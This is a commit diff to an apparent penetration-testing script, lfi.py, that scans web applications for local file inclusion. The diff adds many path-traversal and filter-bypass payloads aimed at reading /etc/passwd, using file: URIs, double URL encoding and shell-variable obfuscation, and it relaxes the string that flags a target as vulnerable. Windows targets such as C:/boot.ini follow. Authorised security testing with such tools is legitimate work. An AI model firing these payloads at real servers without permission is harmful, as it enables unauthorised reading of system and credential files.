STRLCPY/pentest-tools

lfi
Gwen committed 2 years ago

bf69e1aa

1 parent 823bfd82

Total 1 files

■ ■ ■ ■ ■ ■ ■

lfi.py

		skipped 186 lines
187	187		else:
188	188		content_type = '-'
189	189
190		-	if 'root:x:' in r.text or '[boot loader]' in r.text:
	190	+	# print(r.text)
	191	+	if 'root:' in r.text or '[boot loader]' in r.text:
191	192		vuln = 'VULNERABLE'
192	193		else:
193	194		vuln = '-'
		skipped 175 lines
369	370		'\..\..\..\..\..\..\..\..\..\..\etc\passwd#',
370	371		'/../../../../../../../../../../../etc/passwd#.html',
371	372		'/../../../../../../../../../../../etc/passwd#.jpg',
372		-	'..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd#'
	373	+	'..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2f..2fetc2fpasswd#',
	374	+	'//////////////////../../../../../../../../etc/passwd',
	375	+	'file:/etc/passwd?/',
	376	+	'file:/etc/passwd%3F/',
	377	+	'file:/etc%252Fpasswd/',
	378	+	'file:/etc%252Fpasswd%3F/',
	379	+	'file:///etc/?/../passwd',
	380	+	'file:///etc/%3F/../passwd',
	381	+	'file:${br}/et${u}c/pas${te}swd?/',
	382	+	'file:$(br)/et$(u)c/pas$(te)swd?/',
	383	+	'file:${br}/et${u}c%252Fpas${te}swd?/',
	384	+	'file:$(br)/et$(u)c%252Fpas$(te)swd?/',
	385	+	'file:${br}/et${u}c%252Fpas${te}swd%3F/',
	386	+	'file:$(br)/et$(u)c%252Fpas$(te)swd%3F/',
	387	+	'file:///etc/passwd?/../passwd',
	388	+	'/etc/passwd?/',
	389	+	'/etc/passwd%3F/',
	390	+	'/etc%252Fpasswd/',
	391	+	'/etc%252Fpasswd%3F/',
	392	+	'///etc/?/../passwd',
	393	+	'///etc/%3F/../passwd',
	394	+	'${br}/et${u}c/pas${te}swd?/',
	395	+	'$(br)/et$(u)c/pas$(te)swd?/',
	396	+	'${br}/et${u}c%252Fpas${te}swd?/',
	397	+	'$(br)/et$(u)c%252Fpas$(te)swd?/',
	398	+	'${br}/et${u}c%252Fpas${te}swd%3F/',
	399	+	'$(br)/et$(u)c%252Fpas$(te)swd%3F/',
	400	+	'///etc/passwd?/../passwd'
373	401		]
374	402		t_payloads_windows = [
375	403		'C:/boot.ini',
		skipped 174 lines